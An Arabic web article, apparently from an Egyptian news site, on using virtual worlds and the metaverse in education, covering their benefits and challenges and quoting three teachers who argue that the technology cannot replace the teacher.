في البداية علينا تعريف العالم الافتراضي والميتافيرس العالم الافتراضي يعد تقنية تسمح للمستخدمين بالانخراط في بيئة ثلاثية الأبعاد و يتم إنشاؤها من خلال الحاسوب ويتيح العالم الافتراضي للمستخدمين الشعور بأنهم حاضرين في هذا العالم يحدث ذلك من خلال استخدام نظارات مخصصة كما عرف المركز الوطني للتعليم الإلكتروني العالم الافتراضي بأنه بيئة افتراضية بالكامل<br />
أما الميتافيرس فهو عبارة عن عالم رقمي ثلاثي الأبعاد يحاكي الواقع ويتيح التفاعل الاجتماعي والترفيهي بمعنى أوضح يعد بيئة مفتوحة تمثل العالم الحقيقي تتيح لأي شخص التحرك في أي مكان داخل العالم الافتراضي هذه التقنية المتقدمة تخلق بيئة افتراضية تتيح للمستخدمين التفاعل معها بشكل واقعي<br />
‏ التعليم في العالم الافتراضي<br />
‏ في حالة ربط التعليم بالعالم الافتراضي سوف يحدث ذلك طفرة في أساليب التدريس من خلال خلق موارد تعليمية جديدة مما سيساهم بشكل كبير في تحسين تجربة التعليم من خلال تعزيز المشاركة وزيادة الاحتفاظ بالمعلومات سيتم ذلك من خلال إدخال الطالب في بيئة ثلاثية الأبعاد مما سيتيح له تجربة تعليمية فريدة من نوعها<br />
<span style="color: #0000ff;"><em><strong>مزايا وتحديات ربط التعليم بالعالم الافتراضي                                                                                     </strong></em></span><br />
من أهم المزايا التي يقدمها العالم الافتراضي للطلاب هو إعدادهم للعمل في المستقبل وذلك من خلال تزويدهم بخبرات لا حصر لها كما أن ربط التعليم بالعالم الافتراضي سيساهم بشكل كبير في زيادة القدرة على الاحتفاظ بالمعلومات بالإضافة إلى ذلك يمكن للعالم الافتراضي توفير تجارب تعليمية فريدة من نوعها باستخدام تقنية الواقع الافتراضي التي تتيح نقل الطلاب إلى أماكن وبيئات مختلفة قد لا يتمكنون من الوصول إليها بطرق تقليدية<br />
‏ ومع ذلك، تواجه هذه الفوائد عدة تحديات أبرزها التكلفة العالية حيث تعتبر معدات وبرامج الواقع الافتراضي باهظة الثمن بالإضافة إلى ذلك هناك نقص في تدريب المعلمين على استخدام تقنيات الواقع الافتراضي مما قد يؤدي إلى انخفاض في نتائج التعلم فعلى سبيل المثال تجربة نظام التابلت في أول سنة حققت فشل ذريع وذلك بسبب عدم فهم المعلمين والطلاب لطبيعة النظام</p>
<p><span style="color: #0000ff;"><em><strong>آراء متباينة حول فاعلية العالم الافتراضي</strong></em></span><br />
أوضح محمد عصام مدرس الفلسفة وعلم النفس في المرحلة الثانوية أن فكرة ربط التعليم بالعالم الافتراضي تعتبر مميزة للغاية ولكن أكد على ضرورة تطبيقها بشكل صحيح ومدروس وأضاف أن الإمكانيات الحالية في مصر لا تسمح بتطبيق هذه التقنية كما أضاف الاعتماد المفرط على التكنولوجيا في التعليم سوف يكون له آثار سلبية على الطلاب بالإضافة إلى أن العالم الافتراضي لا يمكن أن يحل محل المعلم<br />
من جانبه قال محمود محسن مدرس اللغة العربية بالمرحلة الإعدادية إن إدخال العالم الافتراضي في التعليم قد يوثر بشكل إجابي في العملية التعليمية من حيث الشكل والمحتوى لكنه شدد على أهمية المعلم في التعليم موكدا أن التفاعل المباشر بين الطالب والمعلم يظل عنصرًا أساسيا لا يمكن الاستغناء عنه وأضاف محمود أن التعليم لا يقتصر فقط على المعلومات بل يشمل القيم والتربية والتوجيه وهي أمور يصعب نقلها بشكل فعال من خلال بيئة افتراضية بحتة<br />
وعلي جانب اخر أضاف أحمد فؤاد مدرس الدراسات في المرحلة الابتدائية أن استخدام العالم الافتراضي في التعليم سيسهم بشكل كبير في تحسين مستوى تحصيل الطلاب خاصة في المرحلة الابتدائية وأوضح أن دمج التكنولوجيا في العملية التعليمية سيجعل الدراسة أكثر متعة مما قد يزيد من دافعية الطلاب للتعلم وتحسين استيعابهم للمحتوى</p>
<p>‏ يمكن القول إن ربط التعليم بالعالم الافتراضي قد يسهم بشكل كبير في توسيع أفاقنا الفكرية وسوف يجعل التجربة التعليمية أكثر متعة ولكن مع ذلك يجب التعامل مع هذه التقنية بحذر حتى نتجنب الأثار السلبية وعلينا التأكد أن العالم الافتراضي لا يمكن أن يحلل محل المعلم</p>

			
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\u0627\u0644\u0645\u0639\u0644\u0645","publisher":{"@id":"#Publisher","@type":"Organization","name":"tahkoom.com","logo":{"@type":"ImageObject","url":"https:\/\/tahkoom.com\/wp-content\/uploads\/2025\/05\/\u062a\u062d\u0643\u0645.png"},"sameAs":["https:\/\/www.facebook.com\/share\/1QKWyPHszc\/?mibextid=wwXIfr","https:\/\/www.instagram.com\/tahkom_?igsh=NGZzYjF0N3N3dWcy&utm_source=qr"]},"sourceOrganization":{"@id":"#Publisher"},"copyrightHolder":{"@id":"#Publisher"},"mainEntityOfPage":{"@type":"WebPage","@id":"https:\/\/tahkoom.com\/%d9%87%d9%84-%d8%a3%d8%b5%d8%a8%d8%ad-%d8%a7%d9%84%d9%85%d8%b9%d9%84%d9%85-%d9%85%d9%87%d8%af%d8%af%d9%8b%d8%a7-%d9%81%d9%8a-%d8%b2%d9%85%d9%86-%d8%a7%d9%84%d8%aa%d8%b9%d9%84%d9%8a%d9%85-%d8%a7%d9%84\/","breadcrumb":{"@id":"#Breadcrumb"}},"author":{"@type":"Person","name":"tahkoom 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